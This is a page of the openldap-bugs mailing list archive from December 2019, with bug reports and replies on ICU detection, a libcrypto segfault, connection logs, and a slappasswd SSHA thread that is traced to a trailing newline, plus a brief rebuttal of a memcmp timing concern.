- openldap-bugs - openldap.org

(ITS#9144) Remove ICU detection
by quanah＠openldap.org 19 Dec '19

19 Dec '19

Full_Name: Quanah Gibson-Mount Version: 2.4.48 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) In 2005, ICU library detection was added to the build process, however nothing was ever added to use it. This can result in an unwanted dependency when building on system where the library is present, causing issues later down the line.

1 0

Re: (ITS#9142) LDAP Connection Close
by quanah＠symas.com 16 Dec '19

16 Dec '19

--On Saturday, December 14, 2019 11:09 AM +0000 pasumarthivijaykumar(a)gmail.com wrote: > Full_Name: Vijay Kumar > Version: 2.4.48 > OS: Debian Linux > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (124.123.75.91) Hello, The ITS system is for bug reports only. Questions about OpenLDAP functionality should be directed to the openldap-technical mailing list. Your log shows no issues. Regards, Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

(ITS#9143) Segfault in libcrypto.so.1.1
by s.peillon＠caenlamer.fr 14 Dec '19

14 Dec '19

Full_Name: St.phane P. Version: 2.4.48 OS: Ubuntu 18.04 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (90.63.253.253) Hello, I just upgraded the OpenLDAP engine to 2.4.48. Following this migration, I observed errors related to the libcrypto.so.1.1 library in the syslogs when executing commands such as: /usr/local/openldap/sbin/slapcat -F /usr/local/openldap/etc/openldap/slapd.d -F /usr/local/openldap/etc/openldap/slapd.d -b cn = config -a ' (| (objectclass = olcBdbConfig) (objectclass = olcHdbConfig) (objectclass = olcMdbConfig)) ' The errors are: kernel: [110775.944931] slapcat [2659]: segfault at 60 ip 00007fa1afc98300 sp 00007fff98c66b20 error 4 in libcrypto.so.1.1 [7fa1afaa2000 + 29b000] The linux version is: Linux XXXXXXXX 4.15.0-72-generic-81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64 x86_64 x86_64 GNU / Linux Can you tell me what to modify to correct this error? thank you in advance for your help ! Stephane

1 0

(ITS#9142) LDAP Connection Close
by pasumarthivijaykumar＠gmail.com 14 Dec '19

14 Dec '19

Full_Name: Vijay Kumar Version: 2.4.48 OS: Debian Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (124.123.75.91) Hi, i have facing a "connection close" issue with openldap image which is available at https://github.com/osixia/docker-openldap details of as mentioned below, 5df4c06f conn=1022 op=2456 SEARCH RESULT tag=101 err=0 nentries=1 text= 5df4c06f conn=1022 op=2457 SRCH base="cn=com__cws_runtime_types_teamdevelopment_SCMAdapter.SCMAdapterBinding,cn= CWS Bootstrap Helper,cn=,cn=defaultInst,o=trialorg.local" scope=0 deref=0 filter="(objectClass=*)" 5df4c06f conn=1022 op=2457 SRCH attr=* entryUUID 5df4c06f conn=1022 op=2457 SEARCH RESULT tag=101 err=32 nentries=0 text= 5df4c06f conn=1022 op=2458 ADD dn="cn=com__cws_runtime_types_teamdevelopment_SCMAdapter.SCMAdapterBinding,cn= CWS Bootstrap Helper,cn=,cn=defaultInst,o=trialorg.local" 5df4c06f conn=1022 op=2458 RESULT tag=105 err=0 text= 5df4c06f conn=1022 op=2459 SRCH base="cn=determineIncorporateChangeSet,cn=com__cws_runtime_types_teamdevelopment_SCMAdapter.SCMAdapterBinding,cn= CWS Bootstrap Helper,cn=,cn=defaultInst,o=trialorg.local" scope=0 deref=0 filter="(objectClass=*)" 5df4c06f conn=1022 op=2459 SRCH attr=* entryUUID 5df4c06f conn=1022 op=2459 SEARCH RESULT tag=101 err=32 nentries=0 text= 5df4c06f conn=1022 fd=18 closed (connection lost) 5df4c070 conn=1068 fd=18 ACCEPT from IP=192.168.240.4:50007 (IP=0.0.0.0:636) TLS: gnutls_certificate_verify_peers2 failed -49 5df4c070 conn=1068 fd=18 TLS established tls_ssf=256 ssf=256 5df4c070 conn=1068 op=0 BIND dn="cn=Directory Manager,o=trialorg.local" method=128 5df4c070 conn=1068 op=0 BIND dn="cn=Directory Manager,o=trialorg.local" mech=SIMPLE ssf=0 5df4c070 conn=1068 op=0 RESULT tag=97 err=0 text= 5df4c073 conn=1069 fd=20 ACCEPT from IP=127.0.0.1:59438 (IP=0.0.0.0:389) 5df4c073 conn=1069 op=0 BIND dn="cn=admin,dc=trialorg,dc=local" method=128 5df4c073 conn=1069 op=0 BIND dn="cn=admin,dc=trialorg,dc=local" mech=SIMPLE ssf=0 5df4c073 conn=1069 op=0 RESULT tag=97 err=0 text= Can any one please let us know how to solve this connection issue?

1 0

Re: (ITS#9137) slappasswd generate wrong SSHA from file
by antoine.tran＠thales-services.fr 13 Dec '19

13 Dec '19

Hi, Thank you!! I was fooled when I checked the content with vi. Sorry for the disturbance, I hope it will help others. Yours sincerely, Antoine On 13/12/2019 04:29, Howard Chu wrote: > Antoine Tran wrote: >> On 12/12/2019 14:02, Howard Chu wrote: >>> antoine.tran(a)thales-services.fr wrote: >>>> Full_Name: Antoine TRAN >>>> Version: openldap-servers-2.4.44-21.el7_6.x86_64 >>>> OS: CentOS Linux release 7.7.1908 (Core) >>>> URL: ftp://ftp.openldap.org/incoming/ >>>> Submission from: (NULL) (213.190.88.94) >>>> >>>> >>>> I use slappasswd to generate SSHA password. The issue is it behavior is >>>> different whether I submit the password - in stdin or in command-line '-s' - and >>>> from a secret file '-T'. Command: >>>> slappasswd -h {SSHA} >>>> => write 'd' twice as password >>>> slappasswd -h {SSHA} -s d >>>> >>>> provides working SSHA. >>>> >>>> But: >>>> echo d >/run/secrets/rootpw >>>> slappasswd -h {SSHA} -T /run/secrets/rootpw >>>> provides a valid SSHA, but that does not match the password. >>>> >>>> My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, >>>> regenerating with: >>>> systemctl stop slapd >>>> sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf >>>> slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d >>>> systemctl start slapd >>>> ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" >>>> >>>> The content of the secret file can be "d" or "d\n", it does not make a >>>> difference. Also, if I change the schema from SSHA to just a fixed salt, the >>>> '-T' seems to work as expected: >>>> (a) slappasswd -c 123 >>>> => write d twice >>>> (b) slappasswd -c 123 -s 123 >>>> (c) slappasswd -c 123 -T /run/secrets/rootpw >>>> >>>> (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and >>>> use SSHA, slappasswd prevents me from that, with an error schema already >>>> provided. >>> Unable to reproduce, SSHA works fine here. >>> >>> Obviously you can't use a fixed salt with SSHA, that's the point of its salt is to >>> be random and different every time. >> I wanted to override the salt as a test, to check if we have the same output with a file and in command-line. But I found another way to test. >>> When using a password in a file you must ensure the trailing '\n' is omitted. This >>> is already documented in the manpage. >> I did read and checked this point. I have written that I did not have a newline. But here is a simple and reproducible test, that took me some long time. In a >> Linux machine with internet, just copy paste this: >> >> docker run --name slappasswd --rm -ti centos:7 bash >> >> yum install openldap-servers -y >> >> cat <<EOF >/makeSecret.py >> import os >> import sys >> import hashlib >> from base64 import urlsafe_b64encode as encode >> from base64 import urlsafe_b64decode as decode >> >> def makeSecret(password): >> salt = os.urandom(4) >> h = hashlib.sha1(password) >> h.update(salt) >> return "{SSHA}" + encode(h.digest() + salt) >> >> if __name__ == '__main__': >> print(makeSecret(sys.argv[1])) >> EOF >> >> cat <<EOF >/checkPassword.py >> import os >> import sys >> import hashlib >> from base64 import urlsafe_b64encode as encode >> from base64 import urlsafe_b64decode as decode >> >> def checkPassword(challenge_password, password): >> challenge_bytes = decode(challenge_password[6:]) >> digest = challenge_bytes[:20] >> salt = challenge_bytes[20:] >> hr = hashlib.sha1(password) >> hr.update(salt) >> return digest == hr.digest() >> >> if __name__ == '__main__': >> print(checkPassword(sys.argv[1], sys.argv[2])) >> EOF >> >> python /checkPassword.py $(python /makeSecret.py d) d >> >> python /checkPassword.py $(slappasswd -s d) d >> >> mkdir -p /run/secrets/ >> echo d>/run/secrets/rootpw >> python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d >> echo Begin-$(cat /run/secrets/rootpw)-End >> # => shows no newline: >> #Begin-d-End >> >> It will show you that all hash works except the part with slappasswd -T, and I checked the newline. > I've run your steps. Your test is still invalid. Learn how to use the echo command. > > #### > [root@507ab0515ed6 /]# od -xc /run/secrets/rootpw > 0000000 0a64 > d \n > 0000002 > [root@507ab0515ed6 /]# echo -n d > /run/secrets/rootpw > [root@507ab0515ed6 /]# python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d > Warning: Password file /run/secrets/rootpw is publicly readable/writeable > True > [root@507ab0515ed6 /]# > #### > > Closing this ITS. > > >>>> I saw the same issue in another openldap mail: >>>> https://www.openldap.org/lists/openldap-software/200805/msg00060.html but no >>>> answer. >>>> >>>> >

1 0

Re: (ITS#9138)
by hyc＠symas.com 13 Dec '19

13 Dec '19

scf(a)ieee.org wrote: > Howards mentioned in another wrongly submitted issue (#9139) that > "memcmp.c isn't even referenced in the Makefile, so none of this code > is used." Here is the clarification, even if memcmp.c is not used, gcc > or other compilers' implementations of memcmp is still unsafe > (https://github.com/gcc-mirror/gcc/blob/master/libiberty/memcmp.c). > Even so, it's largely irrelevant. The default password storage scheme is a salted hash, not CLEARTEXT. The cleartext code isn't even compiled unless you explicitly configure to enable SLAPD_CLEARTEXT, and that is always disabled by default. In the normal case, where any form of hash is used, the likelihood of gaining any useful timing information from a bytewise compare of two hashes is nil. The attacker would need to know the salt and the hash algo itself would have to be vulnerable to chosen-plaintext attacks for them to be able to leverage the timing and determine match lengths. Can you actually demonstrate a password extraction attack using memcmp timing side-channel against salted SHA1? -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9137) slappasswd generate wrong SSHA from file
by hyc＠symas.com 13 Dec '19

13 Dec '19

Antoine Tran wrote: > On 12/12/2019 14:02, Howard Chu wrote: >> antoine.tran(a)thales-services.fr wrote: >>> Full_Name: Antoine TRAN >>> Version: openldap-servers-2.4.44-21.el7_6.x86_64 >>> OS: CentOS Linux release 7.7.1908 (Core) >>> URL: ftp://ftp.openldap.org/incoming/ >>> Submission from: (NULL) (213.190.88.94) >>> >>> >>> I use slappasswd to generate SSHA password. The issue is it behavior = is >>> different whether I submit the password - in stdin or in command-line= '-s' - and >>> from a secret file '-T'. Command: >>> slappasswd -h {SSHA} >>> =3D> write 'd' twice as password >>> slappasswd -h {SSHA} -s d >>> >>> provides working SSHA. >>> >>> But: >>> echo d >/run/secrets/rootpw >>> slappasswd -h {SSHA} -T /run/secrets/rootpw >>> provides a valid SSHA, but that does not match the password. >>> >>> My multiple test are done by replacing rootpw in /etc/openldap/slapd.= conf, >>> regenerating with: >>> systemctl stop slapd >>> sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd= .conf >>> slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d >>> systemctl start slapd >>> ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" >>> >>> The content of the secret file can be "d" or "d\n", it does not make = a >>> difference. Also, if I change the schema from SSHA to just a fixed sa= lt, the >>> '-T' seems to work as expected: >>> (a) slappasswd -c 123 >>> =3D> write d twice >>> (b) slappasswd -c 123 -s 123 >>> (c) slappasswd -c 123 -T /run/secrets/rootpw >>> >>> (a), (b) and (c) gives the exact same hash. But I cannot put a fixed = salt and >>> use SSHA, slappasswd prevents me from that, with an error schema alre= ady >>> provided. >> Unable to reproduce, SSHA works fine here. >> >> Obviously you can't use a fixed salt with SSHA, that's the point of it= s salt is to >> be random and different every time. > I wanted to override the salt as a test, to check if we have the same o= utput with a file and in command-line. But I found another way to test. >> When using a password in a file you must ensure the trailing '\n' is o= mitted. This >> is already documented in the manpage. >=20 > I did read and checked this point. I have written that I did not have a= newline. But here is a simple and reproducible test, that took me some l= ong time. In a > Linux machine with internet, just copy paste this: >=20 > docker run --name slappasswd --rm -ti centos:7 bash >=20 > yum install openldap-servers -y >=20 > cat <<EOF >/makeSecret.py > import os > import sys > import hashlib > from base64 import urlsafe_b64encode as encode > from base64 import urlsafe_b64decode as decode >=20 > def makeSecret(password): > =C2=A0=C2=A0=C2=A0 salt =3D os.urandom(4) > =C2=A0=C2=A0=C2=A0 h =3D hashlib.sha1(password) > =C2=A0=C2=A0=C2=A0 h.update(salt) > =C2=A0=C2=A0=C2=A0 return "{SSHA}" + encode(h.digest() + salt) >=20 > if __name__ =3D=3D '__main__': > =C2=A0=C2=A0=C2=A0 print(makeSecret(sys.argv[1])) > EOF >=20 > cat <<EOF >/checkPassword.py > import os > import sys > import hashlib > from base64 import urlsafe_b64encode as encode > from base64 import urlsafe_b64decode as decode >=20 > def checkPassword(challenge_password, password): > =C2=A0=C2=A0=C2=A0 challenge_bytes =3D decode(challenge_password[6:= ]) > =C2=A0=C2=A0=C2=A0 digest =3D challenge_bytes[:20] > =C2=A0=C2=A0=C2=A0 salt =3D challenge_bytes[20:] > =C2=A0=C2=A0=C2=A0 hr =3D hashlib.sha1(password) > =C2=A0=C2=A0=C2=A0 hr.update(salt) > =C2=A0=C2=A0=C2=A0 return digest =3D=3D hr.digest() >=20 > if __name__ =3D=3D '__main__': > =C2=A0=C2=A0=C2=A0 print(checkPassword(sys.argv[1], sys.argv[2])) > EOF >=20 > python /checkPassword.py $(python /makeSecret.py d) d >=20 > python /checkPassword.py $(slappasswd -s d) d >=20 > mkdir -p /run/secrets/ > echo d>/run/secrets/rootpw > python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d > echo Begin-$(cat /run/secrets/rootpw)-End > # =3D> shows no newline: > #Begin-d-End >=20 > It will show you that all hash works except the part with slappasswd -T= , and I checked the newline. I've run your steps. Your test is still invalid. Learn how to use the ech= o command. #### [root@507ab0515ed6 /]# od -xc /run/secrets/rootpw 0000000 0a64 d \n 0000002 [root@507ab0515ed6 /]# echo -n d > /run/secrets/rootpw [root@507ab0515ed6 /]# python /checkPassword.py $(slappasswd -T /run/secr= ets/rootpw) d Warning: Password file /run/secrets/rootpw is publicly readable/writeable True [root@507ab0515ed6 /]# #### Closing this ITS. >=20 >>> I saw the same issue in another openldap mail: >>> https://www.openldap.org/lists/openldap-software/200805/msg00060.html= but no >>> answer. >>> >>> --=20 -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9137) slappasswd generate wrong SSHA from file
by antoine.tran＠thales-services.fr 12 Dec '19

12 Dec '19

This is a multi-part message in MIME format. --------------618A3E9CC74C1DE7FC603227 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 8bit I also tried with '-n' for slappasswd, in the test below, for '-T' and '-s' cases. It changed nothing. On 12/12/2019 14:59, Antoine Tran wrote: > On 12/12/2019 14:02, Howard Chu wrote: >> antoine.tran(a)thales-services.fr wrote: >>> Full_Name: Antoine TRAN >>> Version: openldap-servers-2.4.44-21.el7_6.x86_64 >>> OS: CentOS Linux release 7.7.1908 (Core) >>> URL:ftp://ftp.openldap.org/incoming/ >>> Submission from: (NULL) (213.190.88.94) >>> >>> >>> I use slappasswd to generate SSHA password. The issue is it behavior is >>> different whether I submit the password - in stdin or in command-line '-s' - and >>> from a secret file '-T'. Command: >>> slappasswd -h {SSHA} >>> => write 'd' twice as password >>> slappasswd -h {SSHA} -s d >>> >>> provides working SSHA. >>> >>> But: >>> echo d >/run/secrets/rootpw >>> slappasswd -h {SSHA} -T /run/secrets/rootpw >>> provides a valid SSHA, but that does not match the password. >>> >>> My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, >>> regenerating with: >>> systemctl stop slapd >>> sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf >>> slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d >>> systemctl start slapd >>> ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" >>> >>> The content of the secret file can be "d" or "d\n", it does not make a >>> difference. Also, if I change the schema from SSHA to just a fixed salt, the >>> '-T' seems to work as expected: >>> (a) slappasswd -c 123 >>> => write d twice >>> (b) slappasswd -c 123 -s 123 >>> (c) slappasswd -c 123 -T /run/secrets/rootpw >>> >>> (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and >>> use SSHA, slappasswd prevents me from that, with an error schema already >>> provided. >> Unable to reproduce, SSHA works fine here. >> >> Obviously you can't use a fixed salt with SSHA, that's the point of its salt is to >> be random and different every time. > I wanted to override the salt as a test, to check if we have the same > output with a file and in command-line. But I found another way to test. >> When using a password in a file you must ensure the trailing '\n' is omitted. This >> is already documented in the manpage. > > I did read and checked this point. I have written that I did not have > a newline. But here is a simple and reproducible test, that took me > some long time. In a Linux machine with internet, just copy paste this: > > docker run --name slappasswd --rm -ti centos:7 bash > > yum install openldap-servers -y > > cat <<EOF >/makeSecret.py > import os > import sys > import hashlib > from base64 import urlsafe_b64encode as encode > from base64 import urlsafe_b64decode as decode > > def makeSecret(password): > salt = os.urandom(4) > h = hashlib.sha1(password) > h.update(salt) > return "{SSHA}" + encode(h.digest() + salt) > > if __name__ == '__main__': > print(makeSecret(sys.argv[1])) > EOF > > cat <<EOF >/checkPassword.py > import os > import sys > import hashlib > from base64 import urlsafe_b64encode as encode > from base64 import urlsafe_b64decode as decode > > def checkPassword(challenge_password, password): > challenge_bytes = decode(challenge_password[6:]) > digest = challenge_bytes[:20] > salt = challenge_bytes[20:] > hr = hashlib.sha1(password) > hr.update(salt) > return digest == hr.digest() > > if __name__ == '__main__': > print(checkPassword(sys.argv[1], sys.argv[2])) > EOF > > python /checkPassword.py $(python /makeSecret.py d) d > > python /checkPassword.py $(slappasswd -s d) d > > mkdir -p /run/secrets/ > echo d>/run/secrets/rootpw > python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d > echo Begin-$(cat /run/secrets/rootpw)-End > # => shows no newline: > #Begin-d-End > > It will show you that all hash works except the part with slappasswd > -T, and I checked the newline. > >>> I saw the same issue in another openldap mail: >>> https://www.openldap.org/lists/openldap-software/200805/msg00060.html but no >>> answer. >>> >>> --------------618A3E9CC74C1DE7FC603227 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body text="#000000" bgcolor="#FFFFFF"> <p>I also tried with '-n' for slappasswd, in the test below, for '-T' and '-s' cases. It changed nothing.<br> </p> <p>On 12/12/2019 14:59, Antoine Tran wrote:</p> <blockquote type="cite" cite="mid:948b761f-cb48-024a-dbb2-970493a9def2@thales-services.fr"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> On 12/12/2019 14:02, Howard Chu wrote:<br> <blockquote type="cite" cite="mid:c5070626-b60e-28f5-38a3-7871c8a0cbec@symas.com"> <pre class="moz-quote-pre" wrap=""><a class="moz-txt-link-abbreviated" href="mailto:antoine.tran@thales-services.fr" moz-do-not-send="true">antoine.tran(a)thales-services.fr</a> wrote: </pre> <blockquote type="cite"> <pre class="moz-quote-pre" wrap="">Full_Name: Antoine TRAN Version: openldap-servers-2.4.44-21.el7_6.x86_64 OS: CentOS Linux release 7.7.1908 (Core) URL: <a class="moz-txt-link-freetext" href="ftp://ftp.openldap.org/incoming/" moz-do-not-send="true">ftp://ftp.openldap.org/incoming/</a> Submission from: (NULL) (213.190.88.94) I use slappasswd to generate SSHA password. The issue is it behavior is different whether I submit the password - in stdin or in command-line '-s' - and from a secret file '-T'. Command: slappasswd -h {SSHA} => write 'd' twice as password slappasswd -h {SSHA} -s d provides working SSHA. But: echo d >/run/secrets/rootpw slappasswd -h {SSHA} -T /run/secrets/rootpw provides a valid SSHA, but that does not match the password. My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, regenerating with: systemctl stop slapd sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d systemctl start slapd ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" The content of the secret file can be "d" or "d\n", it does not make a difference. Also, if I change the schema from SSHA to just a fixed salt, the '-T' seems to work as expected: (a) slappasswd -c 123 => write d twice (b) slappasswd -c 123 -s 123 (c) slappasswd -c 123 -T /run/secrets/rootpw (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and use SSHA, slappasswd prevents me from that, with an error schema already provided. </pre> </blockquote> <pre class="moz-quote-pre" wrap="">Unable to reproduce, SSHA works fine here. Obviously you can't use a fixed salt with SSHA, that's the point of its salt is to be random and different every time.</pre> </blockquote> I wanted to override the salt as a test, to check if we have the same output with a file and in command-line. But I found another way to test.<br> <blockquote type="cite" cite="mid:c5070626-b60e-28f5-38a3-7871c8a0cbec@symas.com"> <pre class="moz-quote-pre" wrap="">When using a password in a file you must ensure the trailing '\n' is omitted. This is already documented in the manpage.</pre> </blockquote> <p>I did read and checked this point. I have written that I did not have a newline. But here is a simple and reproducible test, that took me some long time. In a Linux machine with internet, just copy paste this:</p> <blockquote> <p>docker run --name slappasswd --rm -ti centos:7 bash<br> <br> yum install openldap-servers -y<br> <br> cat <<EOF >/makeSecret.py<br> import os<br> import sys<br> import hashlib<br> from base64 import urlsafe_b64encode as encode<br> from base64 import urlsafe_b64decode as decode<br> <br> def makeSecret(password):<br> salt = os.urandom(4)<br> h = hashlib.sha1(password)<br> h.update(salt)<br> return "{SSHA}" + encode(h.digest() + salt)<br> <br> if __name__ == '__main__':<br> print(makeSecret(sys.argv[1]))<br> EOF<br> <br> cat <<EOF >/checkPassword.py<br> import os<br> import sys<br> import hashlib<br> from base64 import urlsafe_b64encode as encode<br> from base64 import urlsafe_b64decode as decode<br> <br> def checkPassword(challenge_password, password):<br> challenge_bytes = decode(challenge_password[6:])<br> digest = challenge_bytes[:20]<br> salt = challenge_bytes[20:]<br> hr = hashlib.sha1(password)<br> hr.update(salt)<br> return digest == hr.digest()<br> <br> if __name__ == '__main__':<br> print(checkPassword(sys.argv[1], sys.argv[2]))<br> EOF<br> <br> python /checkPassword.py $(python /makeSecret.py d) d<br> <br> python /checkPassword.py $(slappasswd -s d) d<br> <br> mkdir -p /run/secrets/<br> echo d>/run/secrets/rootpw<br> python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d<br> echo Begin-$(cat /run/secrets/rootpw)-End<br> # => shows no newline:<br> #Begin-d-End<br> </p> </blockquote> <p>It will show you that all hash works except the part with slappasswd -T, and I checked the newline.<br> <br> </p> <blockquote type="cite" cite="mid:c5070626-b60e-28f5-38a3-7871c8a0cbec@symas.com"> <blockquote type="cite"> <pre class="moz-quote-pre" wrap="">I saw the same issue in another openldap mail: <a class="moz-txt-link-freetext" href="https://www.openldap.org/lists/openldap-software/200805/msg00060.html" moz-do-not-send="true">https://www.openldap.org/lists/openldap-software/200805/msg00060.html</a> but no answer. </pre> </blockquote> </blockquote> </blockquote> </body> </html> --------------618A3E9CC74C1DE7FC603227--

1 0

Re: (ITS#9137) slappasswd generate wrong SSHA from file
by antoine.tran＠thales-services.fr 12 Dec '19

12 Dec '19

This is a multi-part message in MIME format. --------------0657C2ED691C0A313ADDDE9F Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: 8bit On 12/12/2019 14:02, Howard Chu wrote: > antoine.tran(a)thales-services.fr wrote: >> Full_Name: Antoine TRAN >> Version: openldap-servers-2.4.44-21.el7_6.x86_64 >> OS: CentOS Linux release 7.7.1908 (Core) >> URL: ftp://ftp.openldap.org/incoming/ >> Submission from: (NULL) (213.190.88.94) >> >> >> I use slappasswd to generate SSHA password. The issue is it behavior is >> different whether I submit the password - in stdin or in command-line '-s' - and >> from a secret file '-T'. Command: >> slappasswd -h {SSHA} >> => write 'd' twice as password >> slappasswd -h {SSHA} -s d >> >> provides working SSHA. >> >> But: >> echo d >/run/secrets/rootpw >> slappasswd -h {SSHA} -T /run/secrets/rootpw >> provides a valid SSHA, but that does not match the password. >> >> My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, >> regenerating with: >> systemctl stop slapd >> sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf >> slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d >> systemctl start slapd >> ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" >> >> The content of the secret file can be "d" or "d\n", it does not make a >> difference. Also, if I change the schema from SSHA to just a fixed salt, the >> '-T' seems to work as expected: >> (a) slappasswd -c 123 >> => write d twice >> (b) slappasswd -c 123 -s 123 >> (c) slappasswd -c 123 -T /run/secrets/rootpw >> >> (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and >> use SSHA, slappasswd prevents me from that, with an error schema already >> provided. > Unable to reproduce, SSHA works fine here. > > Obviously you can't use a fixed salt with SSHA, that's the point of its salt is to > be random and different every time. I wanted to override the salt as a test, to check if we have the same output with a file and in command-line. But I found another way to test. > > When using a password in a file you must ensure the trailing '\n' is omitted. This > is already documented in the manpage. I did read and checked this point. I have written that I did not have a newline. But here is a simple and reproducible test, that took me some long time. In a Linux machine with internet, just copy paste this: docker run --name slappasswd --rm -ti centos:7 bash yum install openldap-servers -y cat <<EOF >/makeSecret.py import os import sys import hashlib from base64 import urlsafe_b64encode as encode from base64 import urlsafe_b64decode as decode def makeSecret(password): salt = os.urandom(4) h = hashlib.sha1(password) h.update(salt) return "{SSHA}" + encode(h.digest() + salt) if __name__ == '__main__': print(makeSecret(sys.argv[1])) EOF cat <<EOF >/checkPassword.py import os import sys import hashlib from base64 import urlsafe_b64encode as encode from base64 import urlsafe_b64decode as decode def checkPassword(challenge_password, password): challenge_bytes = decode(challenge_password[6:]) digest = challenge_bytes[:20] salt = challenge_bytes[20:] hr = hashlib.sha1(password) hr.update(salt) return digest == hr.digest() if __name__ == '__main__': print(checkPassword(sys.argv[1], sys.argv[2])) EOF python /checkPassword.py $(python /makeSecret.py d) d python /checkPassword.py $(slappasswd -s d) d mkdir -p /run/secrets/ echo d>/run/secrets/rootpw python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d echo Begin-$(cat /run/secrets/rootpw)-End # => shows no newline: #Begin-d-End It will show you that all hash works except the part with slappasswd -T, and I checked the newline. > >> I saw the same issue in another openldap mail: >> https://www.openldap.org/lists/openldap-software/200805/msg00060.html but no >> answer. >> >> > --------------0657C2ED691C0A313ADDDE9F Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body text="#000000" bgcolor="#FFFFFF"> On 12/12/2019 14:02, Howard Chu wrote:<br> <blockquote type="cite" cite="mid:c5070626-b60e-28f5-38a3-7871c8a0cbec@symas.com"> <pre class="moz-quote-pre" wrap=""><a class="moz-txt-link-abbreviated" href="mailto:antoine.tran@thales-services.fr">antoine.tran(a)thales-services.fr</a> wrote: </pre> <blockquote type="cite"> <pre class="moz-quote-pre" wrap="">Full_Name: Antoine TRAN Version: openldap-servers-2.4.44-21.el7_6.x86_64 OS: CentOS Linux release 7.7.1908 (Core) URL: <a class="moz-txt-link-freetext" href="ftp://ftp.openldap.org/incoming/">ftp://ftp.openldap.org/incoming/</a> Submission from: (NULL) (213.190.88.94) I use slappasswd to generate SSHA password. The issue is it behavior is different whether I submit the password - in stdin or in command-line '-s' - and from a secret file '-T'. Command: slappasswd -h {SSHA} => write 'd' twice as password slappasswd -h {SSHA} -s d provides working SSHA. But: echo d >/run/secrets/rootpw slappasswd -h {SSHA} -T /run/secrets/rootpw provides a valid SSHA, but that does not match the password. My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, regenerating with: systemctl stop slapd sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d systemctl start slapd ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" The content of the secret file can be "d" or "d\n", it does not make a difference. Also, if I change the schema from SSHA to just a fixed salt, the '-T' seems to work as expected: (a) slappasswd -c 123 => write d twice (b) slappasswd -c 123 -s 123 (c) slappasswd -c 123 -T /run/secrets/rootpw (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and use SSHA, slappasswd prevents me from that, with an error schema already provided. </pre> </blockquote> <pre class="moz-quote-pre" wrap=""> Unable to reproduce, SSHA works fine here. Obviously you can't use a fixed salt with SSHA, that's the point of its salt is to be random and different every time.</pre> </blockquote> I wanted to override the salt as a test, to check if we have the same output with a file and in command-line. But I found another way to test.<br> <blockquote type="cite" cite="mid:c5070626-b60e-28f5-38a3-7871c8a0cbec@symas.com"> <pre class="moz-quote-pre" wrap=""> When using a password in a file you must ensure the trailing '\n' is omitted. This is already documented in the manpage.</pre> </blockquote> <p>I did read and checked this point. I have written that I did not have a newline. But here is a simple and reproducible test, that took me some long time. In a Linux machine with internet, just copy paste this:</p> <blockquote> <p>docker run --name slappasswd --rm -ti centos:7 bash<br> <br> yum install openldap-servers -y<br> <br> cat <<EOF >/makeSecret.py<br> import os<br> import sys<br> import hashlib<br> from base64 import urlsafe_b64encode as encode<br> from base64 import urlsafe_b64decode as decode<br> <br> def makeSecret(password):<br> salt = os.urandom(4)<br> h = hashlib.sha1(password)<br> h.update(salt)<br> return "{SSHA}" + encode(h.digest() + salt)<br> <br> if __name__ == '__main__':<br> print(makeSecret(sys.argv[1]))<br> EOF<br> <br> cat <<EOF >/checkPassword.py<br> import os<br> import 